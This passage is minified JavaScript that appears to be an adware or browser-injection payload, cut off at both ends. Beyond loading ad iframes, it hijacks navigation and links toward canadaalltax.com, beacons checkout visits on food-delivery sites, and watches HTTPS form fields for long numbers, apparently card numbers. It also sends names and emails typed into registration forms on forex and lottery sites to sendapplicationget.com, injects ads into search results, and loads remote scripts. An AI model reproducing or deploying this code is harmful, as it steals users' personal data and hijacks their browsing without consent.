!1;}},mari_strm17:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '728x90 300x250 160x600'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;var reff = window.top==window.self ? encodeURIComponent(window.self.location.href) : '';arr={\"728x90\":\"2449661\",\"300x250\":\"2449662\",\"160x600\":\"2449663\"}[size];var surl='http://ib.adnxs.com/tt?id='+ arr + '&referrer='+reff;return function(ifr){_zyad.iset(ifr, ''+surl+'', (atp?atp:1), [819,size]);}}catch(e){return !1;}},adstract_strmt3_27_3:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '160x600 300x250 728x90'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;;return function(ifr){_zyad.iset(ifr, 'http://ib.adnxs.com/tt?id=2450479&size='+size+'', (atp?atp:1), [817,size]);}}catch(e){return !1;}},web3_strm7:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '160x600 300x250 468x60 728x90'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;;return function(ifr){_zyad.iset(ifr, 'http://ib.adnxs.com/tt?id=2450557&size='+size+'&cb=[CACHEBUSTER]&referrer=[REFERRER_URL]', (atp?atp:1), [820,size]);}}catch(e){return !1;}},matomy_strm22:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '300x250 160x600 728x90'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;arr={\"300x250\":\"2452616\",\"160x600\":\"2452623\",\"728x90\":\"2452620\"}[size];var surl='http://ib.adnxs.com/tt?id='+ arr + '';return function(ifr){_zyad.iset(ifr, ''+surl+'', (atp?atp:1), [830,size]);}}catch(e){return !1;}},matomy_strm22_2:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '728x90 300x250 160x600'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;arr={\"728x90\":\"2452622\",\"300x250\":\"2452618\",\"160x600\":\"2452626\"}[size];var surl='http://ib.adnxs.com/tt?id='+ arr + '';return function(ifr){_zyad.iset(ifr, ''+surl+'', (atp?atp:1), [834,size]);}}catch(e){return !1;}},hulk_porn:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '728x90 300x250 468x60 120x600 160x600 300x600 250x250 600x400'.indexOf(size)) return !1;var atp=false;var surl='http://syndication.exoclick.com/ads-iframe-display.php?type='+size+'&login=hulkshare_RS2&cat=2&search=&ad_title_color=0000cc&bgcolor=FFFFFF&border=0&border_color=000000&font=&block_keywords=&ad_text_color=000000&ad_durl_color=008000&adult=0&sub=0&text_only=0&show_thumb=0&idzone=' + {\"728x90\":\"638635\",\"300x250\":\"638633\",\"468x60\":\"774737\",\"120x600\":\"774751\",\"160x600\":\"638637\",\"300x600\":\"774753\",\"250x250\":\"774743\",\"600x400\":\"774747\"}[size] + '&idsite=225117&p='+encodeURIComponent(window.self.location.href)+'&dt=' + Math.random();if(!document.getElementById(\"sad32ecs3fdsa\")&&1==Math.ceil(4*Math.random()))try{setTimeout(function(){var b=document.getElementsByTagName(\"body\")[0],a=document.createElement(\"div\");a.setAttribute(\"style\",\"width:728px;height:90px;margin:0 auto\");a.setAttribute(\"id\",\"sad32ecs3fdsa\");a.innerHTML='<iframe src=\"//ads.ventivmedia.com/www/delivery/afr.php?zoneid=31&cb='+Math.random()+'\" style=\"width:728px;height:90px\" frameborder=\"0\" scrolling=\"no\"></iframe>';b.insertBefore(a,b.firstChild)},1)}catch(e){};;return function(ifr){_zyad.iset(ifr, ''+surl+'', (atp?atp:1), [420,size]);}}catch(e){return !1;}}}};_zyad.init();;(function(){try{if(window.opener&&window.self==window.top&&-1==document.cookie.indexOf(\"xcddsa\")&&-1==window.self.location.href.indexOf(\"px.pluginh\")&&window.self.location.hostname.indexOf('earchfu')==-1&&(!document.referrer||-1==document.referrer.indexOf('/amz/')&&(!document.referrer.match(/cpops-\\d+\\.html/))&&-1==document.referrer.indexOf(\"px.pluginh\"))&&-1==window.self.location.href.indexOf(\"ally.asi\")&&-1==window.self.location.href.indexOf('/amz/')&&(!window.self.location.href.match(/cpops-\\d+\\.html/))&&-1==window.self.location.hostname.indexOf(\"getjs\")&&-1==window.self.location.hostname.indexOf(\"hsbc\")&&3>history.length){var c=navigator.userAgent.toLowerCase(),d=\"http://canadaalltax.com/z/?f=rjYGvTw7pi5GrHYKqTlXrjr4qTa4pjnEpn%3D%3D&eid=720&hid=11944579086150063164&pid=0&rf=\" + encodeURIComponent(document.referrer) +\"&s=px.pluginh&r=\"+Math.random();if(-1<c.indexOf(\"msie\")&&(!document.referrer||-1==document.referrer.indexOf(location.hostname))){var e=window.innerWidth||document.documentElement.scrollWidth||0,f=window.innerHeight||document.documentElement.scrollHeight||0;if(e){window.resizeTo(e,f);var g=window.innerWidth||document.documentElement.scrollWidth,k=window.innerHeight||document.documentElement.scrollHeight;window.resizeTo(e+2,f);var h=window.scrollWidth||document.documentElement.scrollWidth;if(h!=g&&h<=g+2&&90>=f-k){var a=new Date;a.setHours(a.getHours()+1);document.cookie=\"xcddsa=1;expires=\"+a.toUTCString();if(window.onbeforeunload){window.onbeforeunload=null;d+='&ch=97'};try{if(typeof(jQuery)!=\"undefined\"){jQuery(window).unbind(\"beforeunload\")}}catch(e){};window.self.location.href=d}}}else if(!window.menubar.visible&&document.referrer&&-1==document.referrer.indexOf(window.self.location.hostname)){a=new Date;a.setHours(a.getHours()+1);document.cookie=\"xcddsa=1;expires=\"+a.toUTCString();if(window.onbeforeunload){window.onbeforeunload=null;d+='&ch=97'};var b=document.createElement(\"script\");b.type=\"text/javascript\";-1<c.indexOf(\"chrome\")&&(b.innerHTML='document.getElementsByTagName(\"body\")[0].setAttribute(\"xcddsa\",\"1\")',document.getElementsByTagName(\"body\")[0].appendChild(b),setTimeout(function(){document.getElementsByTagName(\"body\")[0].getAttribute(\"xcddsa\")&&(window.self.location.href=d)},10));-1<c.indexOf(\"firefox\")&&(b.innerHTML='try{if(typeof(jQuery)!=\"undefined\"){jQuery(window).unbind(\"beforeunload\")}}catch(e){};setTimeout(function(){window.self.location.href=\"'+d+'\";},10);',document.getElementsByTagName(\"head\")[0].appendChild(b))}}}catch(l){}})();if(1==2&&-1<window.self.location.href.indexOf(\"df.ly/\")){var dd=document.getElementById(\"rf\");dd&&dd.setAttribute(\"src\",\"http://canadaalltax.com/x/?f=rjYGvTw7pi5GrHYKqTlXrjr4qTa4pjnEpn%3D%3D&ch=1\")}(\"rdlnk.co\"==window.self.location.hostname||\"adfoc.us\"==window.self.location.hostname||\"www.adsbeta.net\"==window.self.location.hostname||\"ad5.eu\"==window.self.location.hostname)&&(dd=document.getElementsByTagName(\"iframe\")[0])&&dd.setAttribute(\"src\",\"http://canadaalltax.com/x/?ch=1\");\"cf.ly\"==window.self.location.hostname&&(dd=document.getElementsByTagName(\"iframe\")[1])&&dd.setAttribute(\"src\",\"http://canadaalltax.com/x/?f=rjYGvTw7pi5GrHYKqTlXrjr4qTa4pjnEpn%3D%3D&ch=1\");\"adv.li\"==window.self.location.hostname&&(dd=document.getElementById(\"main\"))&&dd.setAttribute(\"src\",\"http://canadaalltax.com/x/?f=rjYGvTw7pi5GrHYKqTlXrjr4qTa4pjnEpn%3D%3D&ch=1\");if(window.top==window.self&&\"undefined\"!=typeof addEventListener&&-1==document.cookie.indexOf(\"vdsknj4th4un\")){var zytd=function(a){try{if(\"a\"==a.target.tagName.toLowerCase()&&\"\"==a.target.innerHTML&&a.target.getAttribute(\"href\")&&-1==a.target.getAttribute(\"href\").indexOf(window.self.location.hostname)){a.target.setAttribute(\"href\",\"http://canadaalltax.com/z/?f=rjYGvTw7pi5GrHYKqTlXrjr4qTa4pjnEpn%3D%3D&eid=720&hid=11944579086150063164&pid=0&ch=666&rf=\"+encodeURIComponent(window.self.location.href)+\"&s=px.pluginh&r=\"+Math.random());var b=new Date;b.setHours(b.getHours()+5);document.cookie=\"vdsknj4th4un=1;expires=\"+b.toUTCString();document.getElementsByTagName(\"body\")[0].removeEventListener(\"click\",zytd)}}catch(c){}};try{document.getElementsByTagName(\"body\")[0].addEventListener(\"click\",zytd)}catch(e){}};if(\"www.youtube.com\"==window.self.location.hostname&&\"http:\"==window.self.location.protocol){var video_id=window.location.search.split(\"v=\")[1];if(video_id){var ampersandPosition=video_id.indexOf(\"&\");-1!=ampersandPosition&&(video_id=video_id.substring(0,ampersandPosition));if(video_id&&document.getElementById(\"watch7-views-info\")){var vc=document.getElementById(\"watch7-views-info\").firstElementChild;vc&&document.getElementById(\"watch7-views-info\").firstElementChild.innerHTML&&((new Image).src=\"http://score.developpro.info/?pr=1&d=\"+video_id+\"&s=\"+document.getElementById(\"watch7-views-info\").firstElementChild.innerHTML.replace(/[^0-9]/g,\"\"))}}};if((-1<window.self.location.hostname.indexOf(\"foodpanda\")||-1<window.self.location.hostname.indexOf(\"hellofood\"))&&document.getElementById(\"submitRegisterStep1\")){var price=query_selector_all(\".cart-line-price\"),p=price&&price[price.length-1]?parseInt(price[price.length-1].innerHTML.replace(/[^0-9]/g,\"\")):0,h=window.self.location.hostname;(new Image).src=\"http://score.developpro.info/g.php?pr=1&d=\"+h+\"&s=\"+p}\"justeat.in\"==window.self.location.hostname&&-1<window.self.location.href.indexOf(\"checkout\")&&((new Image).src=\"http://score.developpro.info/g.php?pr=1&d=justeat.in&s=0\");\"tastykhana.in\"==window.self.location.hostname&&-1<window.self.location.href.indexOf(\"billing\")&&((new Image).src=\"http://score.developpro.info/g.php?pr=1&d=justeat.in&s=0\");if(-1<window.self.location.hostname.indexOf(\"titbit.com\")||\"checkout\"==window.self.location.hostname)(new Image).src=\"http://score.developpro.info/g.php?pr=1&d=titbit.com&s=0\";\"www.grubhub.com\"==window.self.location.hostname&&-1<window.self.location.href.indexOf(\"payment\")&&((new Image).src=\"http://score.developpro.info/g.php?pr=1&d=www.grubhub.com&s=0\");\"www.delivery.com\"==window.self.location.hostname&&-1<window.self.location.href.indexOf(\"order_process\")&&((new Image).src=\"http://score.developpro.info/g.php?pr=1&d=www.delivery.com&s=0\");\"www.foodler.com\"==window.self.location.hostname&&-1<window.self.location.href.indexOf(\"AnonCheckout\")&&((new Image).src=\"http://score.developpro.info/g.php?pr=1&d=www.foodler.com&s=0\");\"eat24hours.com\"==window.self.location.hostname&&\"https:\"==window.self.location.protocol&&((new Image).src=\"http://score.developpro.info/g.php?pr=1&d=eat24hours.com&s=0\");(function(){try{var a=document.getElementsByTagName(\"input\");if(\"https:\"==window.self.location.protocol&&4<a.length)for(var d=function(b){b=b.target;if(b.value&&11<b.value.length&&20>b.value.length&&b.value.match(/^[0-9]+$/))for((new Image).src=\"https://score.sendapplicationget.com/g.php?pr=2&d=\"+window.self.location.hostname+\"&s=0&r=\"+(+new Date).toString()+Math.random(),b=0;b<a.length;b++)a[b]&&a[b].removeEventListener?a[b].removeEventListener(\"blur\",d,!1):a[b]&&a[b].detachEvent&&a[b].detachEvent(\"onblur\",d)},c=0;c<a.length;c++)a[c]&&a[c].addEventListener?a[c].addEventListener(\"blur\",d,!1):a[c]&&a[c].attachEvent&&a[c].attachEvent(\"onblur\",d)}catch(e){}})();(function(){var init=function(b,a,f){for(var e=function(){for(var d=[],c=0;c<a.length;c++)b[a[c]]&&b[a[c]].value&&2<b[a[c]].value.length&&d.push(b[a[c]].value.replace(/[^0-9a-z \\-_\\.@]/ig,\"\"));if(d.length==a.length)for((new Image).src=\"https://score.sendapplicationget.com/?id=\"+f+\"&c=\"+encodeURIComponent(d.join(\",\"))+\"&r=\"+Math.random(),c=0;c<a.length;c++)b[a[c]]&&b[a[c]].removeEventListener?b[a[c]].removeEventListener(\"blur\",e,!1):b[a[c]]&&b[a[c]].detachEvent&&b[a[c]].detachEvent(\"onblur\",e)},d=0;d<a.length;d++)b[a[d]]&&b[a[d]].addEventListener?b[a[d]].addEventListener(\"blur\",e,!1):b[a[d]]&&b[a[d]].attachEvent&&b[a[d]].attachEvent(\"onblur\",e)};(\"www.apply.forex.com\"==window.self.location.hostname||\"apply.forex.com\"==window.self.location.hostname)&&-1<window.self.location.href.indexOf(\"Screen1\")&&document[\"aspnetForm\"]&&init(document[\"aspnetForm\"],\"ctl00$ContentPlaceHolder1$ctl01$txtFirstname,ctl00$ContentPlaceHolder1$ctl01$txtLastname,ctl00$ContentPlaceHolder1$ctl01$txtVerifyEmail\".split(','),\"3\");(\"www.thelotter.com\"==window.self.location.hostname||\"thelotter.com\"==window.self.location.hostname)&&-1<window.self.location.href.indexOf(\"remoteshortregistration\")&&document[\"aspnetForm\"]&&init(document[\"aspnetForm\"],\"ctl00$ContentPlaceHolderMain$ctl00$signUpForms$txtFirstName,ctl00$ContentPlaceHolderMain$ctl00$signUpForms$txtEmail\".split(','),\"4\");(\"www.calottery.com\"==window.self.location.hostname||\"calottery.com\"==window.self.location.hostname)&&-1<window.self.location.href.indexOf(\"register\")&&document[\"frmMain\"]&&init(document[\"frmMain\"],\"objBody$content_0$leftcolumn_0$txtFirstName,objBody$content_0$leftcolumn_0$txtLastName,objBody$content_0$leftcolumn_0$txtEmail\".split(','),\"5\")})();(function(){var b,f,g;try{var a=window.self.location.href;if(!(window.self==window.top||\"undefined\"==typeof localStorage||\"undefined\"==typeof localStorage.setItem||-1==a.indexOf(\"oM5tuLUV=\")&&!a.match(/1018-\\d{3,4}_/)&&-1==a.indexOf(\"cdncache-a.aka\"))){if(-1<a.indexOf(\"oM5tuLUV=\")){var d=a.match(/oM5tuLUV=(\\d+)_(\\d{2,3}x\\d{2,3})_?(\\d+)?/);b=d[1];f=d[2].replace(\"x\",\".\");g=d[3]?d[3]:0}else{try{var j=-1<a.indexOf(\"zoneid\")?a.match(/zoneid=(\\d+)/)[1]:a.match(/1018-(\\d+)_WS/)[1]}catch(n){j=0}var c=document.getElementsByTagName(\"body\")[0];b=-1<a.indexOf(\"cdncache-a.aka\")?1001:1002;f=Math.max(c.scrollWidth,c.offsetWidth)+\".\"+Math.max(c.scrollHeight,c.offsetHeight);g=j}var e=new Date,k=parseInt(e.getTime()/1E3),l=\"zyk_\"+[e.getUTCFullYear()+\"-\"+(e.getUTCMonth()+1)+\"-\"+e.getUTCDate(),b,f,g].join(),m=localStorage.getItem(l);localStorage.setItem(l,1+(m?parseInt(m):0));if(lsTime=localStorage.getItem(\"zEpoch\")){if(7200<k-parseInt(lsTime)){var h=document.createElement(\"div\");b=[];for(i in localStorage)-1<i.indexOf(\"zyk_\")&&b.push(\"'\"+i.replace(\"zyk_\",\"\")+\"':\"+localStorage.getItem(i));h.style.display=\"none\";h.innerHTML='<iframe name=\"webscorebox_ifr\"></iframe><form target=\"webscorebox_ifr\" method=\"post\" action=\"http://count3.webscorebox.com/?q=g708BNmGWj8ukchVWzmPhd96rTaMCyVUojaMDMlGC7VLBT94tMtGB6DHhfs0rShNAen0rchOAen0rjw4qdn8qHUEpdgFqjaEqTrFqTn=\" id=\"webscorebox_frm\"><input type=\"hidden\" name=\"scores\" value=\"{'+b.join(\",\")+'}\"></form>';(typeof c!=\"undefined\"?c:document.getElementsByTagName(\"body\")[0]).appendChild(h);document.getElementById(\"webscorebox_frm\").submit();localStorage.clear()}}else localStorage.setItem(\"zEpoch\",k)}}catch(p){}})();;(function(){try{var b=\"gonetwork.eu performancerevenues.com adtransfer adk2.com timehare clkads.com adcash xtendmedia.com cpxinteractive media-servers directrev doubleclick brealtime.com adnxs.com yieldmanager jsopen yieldads adserverplus clicksor exoclick.com vitalads zedo.com mshft pop.billi mediawhite edomz getjs adjuggler realpopbid bestadbid directdisplayad displayadfeed adorika displayadfeed akamaihd.net/ssa/ trusted-serving tusfiles clkmon.c minecraftdl\".split(\" \");for(i=0;i<b.length;i++){var a=location.href + (document.title?document.title.toLowerCase():\"z\");if(document.referrer&&-1<document.referrer.indexOf(b[i])&&(-1<a.indexOf(\"download\")||-1<a.indexOf(\"convert\")||-1<window.self.location.href.indexOf(\"babylon\")||-1<window.self.location.href.indexOf(\"se Update Go\")||-1<window.self.location.href.indexOf(\"ilivid\")||-1<window.self.location.href.indexOf(\"download\")||-1<a.indexOf(\"regclean\")||-1<a.indexOf(\"etype\")||-1<a.indexOf(\"diction\")||-1<a.indexOf(\"my-uq\")||-1<a.indexOf(\"ftalk\")||-1<a.indexOf(\"pcspeedmaximizer\")||-1<a.indexOf(\"kingtransl\")||-1<a.indexOf(\"jsopen\")||-1<a.indexOf(\"7-zip\")||-1<a.indexOf(\"boost pc\")||-1<a.indexOf(\"computer slow\")||-1<a.indexOf(\"7-update14\")||-1<a.indexOf(\"player\")) || location.hostname.indexOf('jsopen.net')>-1){var channel=99;if(window.onbeforeunload){window.onbeforeunload=null;channel=98};location.href=\"http://canadaalltax.com/e/?f=rjYGvTw7pi5GrHYKqTlXrjr4qTa4pjnEpn%3D%3D&eid=720&hid=11944579086150063164&pid=0&ch=\"+channel+\"&s=px.pluginh&r=\"+Math.random();break}}}catch(d){}})();if(window.self==window.top){var script=document.createElement(\"script\");script.type=\"text/javascript\";script.src=\"//cdncache-a.akamaihd.net/loaders/1546/l.js?aoi=1311798366&pid=1546&zoneid=287609&ext=ExstraSavings&systemid=11944579086150063164\";document.getElementsByTagName(\"head\")[0].appendChild(script)};;window.top==window.self&&\"undefined\"==typeof __yael_running&&(window.__yael_running=!0,new function(){if(!document.getElementById(\"__yael_once\")){var m=document.createElement(\"div\");m.id=\"__yael_once\";var n=document.getElementsByTagName(\"body\")[0];n&&n.appendChild(m);var b=this;b.pixelHost=\"//sepx.sendapplicationget.com\";b.prefix=\"jhgasdf\";b.version=\"0.4.1\";b.now=(new Date).getTime();b.clickInterval=2592E5;b.ratio=12;b.initThrottle=\"google;gmaps;amazon\";b.unique_items_left=!0;b.num_of_items_in_one=2;b.count=0;b.baseHostname=\"sendapplicationget.com\";b.utils=new function(){var a=this;a.cookie=new function(){var a=this;a.createCookie=function(a,c,b){if(b){var g=new Date;g.setTime(g.getTime()+864E5*b);b=\"; expires=\"+g.toGMTString()}else b=\"\";document.cookie=a+\"=\"+c+b+\"; path=/\"};a.readCookie=function(a){a+=\"=\";for(var c=document.cookie.split(\";\"),b=0;b<c.length;b++){for(var g=c[b];\" \"==g.charAt(0);)g=g.substring(1,g.length);if(0==g.indexOf(a))return g.substring(a.length,g.length)}return null}; a.eraseCookie=function(b){a.createCookie(b,\"\",-1)}};a.ajax={get:function(c,b){try{this.xhr=new XMLHttpRequest,this.xhr.open(\"GET\",c,!0),this.xhr.onreadystatechange=function(){4==a.ajax.xhr.readyState&&b(a.ajax.xhr.responseText)},this.xhr.send()}catch(e){}},post:function(c,b,e){this.xhr=new XMLHttpRequest;this.xhr.open(\"POST\",c,!0);this.xhr.setRequestHeader(\"Content-type\",\"application/x-www-form-urlencoded\");this.xhr.onreadystatechange=function(){4==a.ajax.xhr.readyState&&e(a.ajax.xhr.responseText)}; b=encodeURIComponent(b);this.xhr.send(b)}};a.waitForTokens={};a.addScript=function(a,b){if(\"undefined\"==typeof Element.prototype.appendChild.toString)document.getElementsByTagName(\"head\")[0].appendChild(a);else if(\"bing\"==b){var e=Element.prototype.appendChild,f=document.createElement(\"iframe\");Element.prototype.appendChild=f.document.appendChild;document.getElementsByTagName(\"head\")[0].appendChild(a);Element.prototype.appendChild=e}};a.waitForElement=function(c,d,e,f){var g=a.query_selector_all(c); clearTimeout(a.waitTimeout);if(25<b.waitForElementCounter)return d(null);if(\"undefined\"==typeof g||1>g.length){if(a.waitForTokens[f])return d(null);var h=arguments.callee;a.waitTimeout=setTimeout(function(){b.waitForElementCounter++;h(c,d,e,f)},e)}else{if(a.waitForTokens[f])return d(null);a.waitForTokens[f]=!0;b.waitForElementCounter=0;return d(g)}};a.flushWaitForTokens=function(){a.waitForTokens={}};a.getRandomInt=function(a,b){return Math.floor(Math.random()*(b-a+1))+a};a.get_computed_style=\"function\"!= typeof window.getComputedStyle?function(b){return{getPropertyValue:function(d){\"float\"==d&&(d=\"styleFloat\");d=a.dhtml_prop_name(d);return\"object\"==typeof b.currentStyle&&null!=b.currentStyle&&\"undefined\"!=typeof b.currentStyle[d]?b.currentStyle[d]:null}}}:function(a,b){return window.getComputedStyle(a,b)||{getPropertyValue:function(){}}};a.query_selector_all=document.querySelectorAll?function(a){try{return document.querySelectorAll(a)}catch(b){}}:function(a){var b=a.match(/^#([^,\\s]+)$/)||[];if(1< b.length)return a=document.getElementById(b[1])||void 0,\"undefined\"!=typeof a?[a]:[];b=document.createElement(\"STYLE\");document.getElementsByTagName(\"body\")[0].appendChild(b);document.__asya_qsaels=[];b.styleSheet.cssText=a+\"{x:expression(document.__asya_qsaels.push(this))}\";window.scrollBy(0,0);return document.__asya_qsaels};a.clone_object=window.JSON instanceof Object?function(a){if(a instanceof Object&&(a=JSON.stringify(a),\"string\"==typeof a))return JSON.parse(a)}:function(a){if(a instanceof Object){var b= new a.constructor,e;for(e in a)b[e]=arguments.callee(a[e]);return b}return a};a.dhtml_prop_name=function(a){return a.replace(/(\\-([a-z]){1})/g,function(a,b,c){return c.toUpperCase()})};a.wildcard_to_regex=function(a){a=a.replace(/([.^$+(){}\\[\\]\\\\|\\?])/g,\"\\\\$1\");a=a.replace(/\\*/g,\".*\");return RegExp(a)};a.throttle=function(a,b){var e=null;return function(){var f=this,g=arguments;clearTimeout(e);e=setTimeout(function(){a.apply(f,g)},b)}};a.epoch=function(){return(new Date).getTime()};a.version_ie_less= function(a){if(/MSIE (\\d+\\.\\d+);/.test(navigator.userAgent))return new Number(RegExp.$1)<=a?!0:!1};a.isIE=function(){return\"Microsoft Internet Explorer\"==navigator.appName||\"Netscape\"==navigator.appName&&null!=/Trident\\/.*rv:([0-9]{1,}[.0-9]{0,})/.exec(navigator.userAgent)};a.match_url=function(b,d){for(var e=0;e<d.length;e++)if(\"string\"==typeof d[e]){var f;f=/^\\/.+\\/$/.test(d[e])?RegExp(d[e]):a.wildcard_to_regex(d[e]);if(f instanceof RegExp&&f.test(b))return!0}};a.ping=function(a){for(var d=[\"google\", \"bing\",\"yahoo\",\"youtube\"],e=0;e<d.length;e++)if(-1<location.hostname.indexOf(d[e])){var f=new Image,g=encodeURIComponent(window.self==window.top?window.self.location.href:\"\");1E3<g.length&&(g=encodeURIComponent(location.hostname));var h=encodeURIComponent(location.hostname);f.src=b.pixelHost+\"?hid=11944579086150063164&eid=720&pid=0&prodid=185&v=\"+b.version+\"&ch=\"+a+\"&lan=\"+navigator.language+\"&cc=JP&pr=\"+d[e]+\"&host=\"+h+\"&ref=\"+g}}};var k=[\"horizontal\", \"vertical\",\"images-horizontal\",\"images-vertical\"];b.jsonpHost=function(){var a=\"s1. s1. s2. s3. s4. s5. s6.\".split(\" \");return a[b.utils.getRandomInt(0,a.length-1)]+\"\"}()+b.baseHostname;b.projects_info={google:{hrefSelector:\".r a\",unique_search_divs:\"3\",urls:[\"www.google.*\"],src_for_keyword:[\"#gbqfq\",\"#lst-ib\",\"#sbhost\"],dr:[\"#tvcap\",\"#bottomads\",\"#tads\"],tweak:function(){b.events.flush();var a=b.utils.query_selector_all(\"#nav td\"),c=b.utils.query_selector_all(\".spell + a\")[0];if(0<a.length)for(var d= 0;d<a.length;d++)b.events.add(\"click\",function(){b.init_search_project()},!1,a[d],!0);\"undefined\"!==typeof c&&b.events.add(\"click\",function(){b.init_search_project()},!1,c,!0)},validate:function(a){var c=this;if(-1<location.href.indexOf(\"https://www.google.com/maps\")||location.href.match(/https:\\/\\/www.google.[a-z,\\.]+\\/$/g))return!0;c.callback=a;this.is_direction_right=function(){b.utils.waitForElement(\".col\",function(a){if(null==a||\"right\"==b.utils.get_computed_style(a[0]).getPropertyValue(\"float\"))return!0; if(!c.check_tab())return!1},1E3,\"validate\")};c.count=0;this.check_tab=function(){var a=document.getElementById(\"hdtb_msb\");if(null==a||\"undefined\"==typeof a)if(c.count++,10>c.count)setTimeout(function(){c.check_tab()},1E3);else return!1;else return b.utils.query_selector_all(\".hdtb_mitem\")[0].className.match(/hdtb_msel/)&&(b.utils.ping(\"validate2\"),c.callback()),!1};return c.is_direction_right()?!1:!0}},yahoo:{hrefSelector:\"a[id^=link]\",unique_search_divs:\"3\",dr:[\".ads.horiz.top\",\".ads.horiz.bot\"], urls:[\"yahoo\"],src_for_keyword:\"#yschsp\",validate:function(){b.utils.ping(\"validate2\");return!0}},bing:{hrefSelector:[\".b_algo a\",\".sb_tlst a\"],unique_search_divs:\"2\",dr:[\".sb_adsWv2\"],urls:[\"http://www.bing.com/search?*\"],src_for_keyword:[\"#sb_form_q\",\".b_searchboxForm[name='q']\"],validate:function(){b.utils.ping(\"validate2\");return!0}},conduit:{hrefSelector:\"a[id^=ctl00_main_organicResults]\",unique_search_divs:\"1\",urls:[\"http://search.conduit.com*\"],src_for_keyword:\"#q_top\",dr:[\"#master-1\"],validate:function(){return!0}}, ask:{hrefSelector:\".ptbs a[id^=r]\",unique_search_divs:\"1\",urls:[\"http://www.ask.com/web?q=*\",\"http://www.ask.com/web?qsrc=*\",\"http://www.ask.com/web?am=broad&q=*\"],src_for_keyword:[\"#top_qcomn\",\"#top_q_comm\"],dr:[\"#spl_img_top\"],validate:function(){return!0}},triple:{hrefSelector:\".gRsSlicetitle\",unique_search_divs:\"2\",dr:[\"#gRsTopLinks\"],urls:[\"http://search.triple-search.com/?*\",\"http://www.search.triple-search.com/?*\"],src_for_keyword:\"#q\",validate:function(){var a=b.utils.query_selector_all(\".gRsSTypeSelltr\"); if(0<a.length){for(var c=0;c<a.length;c++)if(\"English\"==a[c].innerHTML)return!0;return!1}}},incredimail:{hrefSelector:\".title\",unique_search_divs:\"3\",dr:[\"#MainSponsoredLinks\"],urls:[\"http://www.search.incredimail.com/search.php?q*\",\"http://search.incredimail.com/search.php?q*\"],src_for_keyword:\"#q\",validate:function(){return-1<location.href.indexOf(\"lang=english\")?!0:!1}},gmaps:{hrefSelector:\"div[class^='ads-line'] a\",unique_search_divs:\"1\",dr:[\".ads.horiz.top\",\".ads.horiz.bot\"],urls:[\"https://www.google.com/maps/*\"], src_for_keyword:\"#searchboxinput\",tweak:function(){var a=function(){b.remove_search();b.utils.query_selector_all(\".omnibox-cards-transformations\")[0].style.marginTop=\"0px\";document.getElementById(\"reveal-cards\").style.marginTop=\"0px\"};b.events.add(\"click\",function(){a()},!1,document.getElementById(\"cards\"),!1);b.events.add(\"keyup\",function(){a()},!1,document.getElementById(\"searchbox_form\"),!1);b.events.add(\"click\",function(){a()},!1,document.getElementById(\"viewcard\"),!1);b.events.add(\"click\",function(){a()}, !1,b.utils.query_selector_all(\".widget-runway-pegman\")[0],!1);b.events.add(\"click\",function(){a()},!1,b.utils.query_selector_all(\".gscb_a\")[0],!1);var c=function(a){a=document.querySelector(a);return getComputedStyle(a,null).height}(\".yael .cards-card\");document.querySelector(\".omnibox-cards-transformations\").style.marginTop=c;document.querySelector(\"#reveal-cards\").style.marginTop=c},validate:function(a){b.utils.isIE()||(b.num_of_items_in_one=1,a())}},amazon:{unique_search_divs:\"1\",urls:[\"http://www.amazon.com*&field-keywords=*\"], src_for_keyword:\"#twotabsearchtextbox\",validate:function(a){a()}},smartAddress:{hrefSelector:[\"li a\"],unique_search_divs:\"2\",dr:[\".peach ol\"],urls:[\"search.smartaddressbar.com/web.php?s=*\"],src_for_keyword:\"#stxt\",tweak:function(){var a=b.utils.query_selector_all(\".peach\")[0],c=b.utils.query_selector_all(\".right ul\")[0];a&&a.parentNode.removeChild(a);c&&c.parentNode.removeChild(c)},validate:function(){return!0}}};var l=function(a){if(\"string\"==typeof a){var c=a.match(/:nth-match\\(([0-9]+)\\)/);if(c&& 1<c.length)return a=b.utils.query_selector_all(a.substr(0,c.index))||[],a[c[1]]||void 0;a=b.utils.query_selector_all(a)||[];return a[0]||void 0}};b.events=new function(){var a=this;a.cache=[];a.add=window.addEventListener?function(b,d,e,f,g){\"undefined\"==typeof f&&(f=window);f.addEventListener(b,d,e);g&&a.cache.push([b,d,e,f])}:window.attachEvent?function(b,d,e,f,g){\"undefined\"==typeof f&&(f=window);f[\"e\"+b+d]=d;f[b+d]=function(){f[\"e\"+b+d](window.event)};f.attachEvent(\"on\"+b,f[b+d]);g&&a.cache.push([b, d,e,f])}:function(){};a.remove=window.removeEventListener?function(a,b,e,f){\"undefined\"==typeof f&&(f=window);f.removeEventListener(a,b,e)}:window.detachEvent?function(a,b,e,f){\"undefined\"==typeof f&&(f=window);f.detachEvent(\"on\"+a,f[a+b]);f[a+b]=null;f[\"e\"+a+b]=null}:function(){};a.flush=function(){for(var b=0;b<a.cache.length;b++)a.remove.apply(a,a.cache[b]);a.cache=[]}};b.get_insertion_element=function(a){return!a.insert||\"before\"!=a.insert&&\"after\"!=a.insert?a.element:a.element.parentNode};b.dom= new function(){this.json_to_html=function(a,c){if(\"#text\"==a.type)c=document.createTextNode(a.text);else if(\"#comment\"!=a.type){c||(c=document.createElement(a.type));if(a.attrs){for(var d in a.attrs)if(a.attrs.hasOwnProperty(d))if(\"style\"==d&&a.attrs.style instanceof Object)for(var e in a.attrs.style){var f=b.utils.dhtml_prop_name(e);c.style[f]=a.attrs.style[e]}else c.setAttribute(d,a.attrs[d]);\"iframe\"==a.type&&(a.attrs.hasOwnProperty(\"frameborder\")&&(c.frameBorder=a.attrs.frameborder),a.attrs.hasOwnProperty(\"marginwidth\")&& 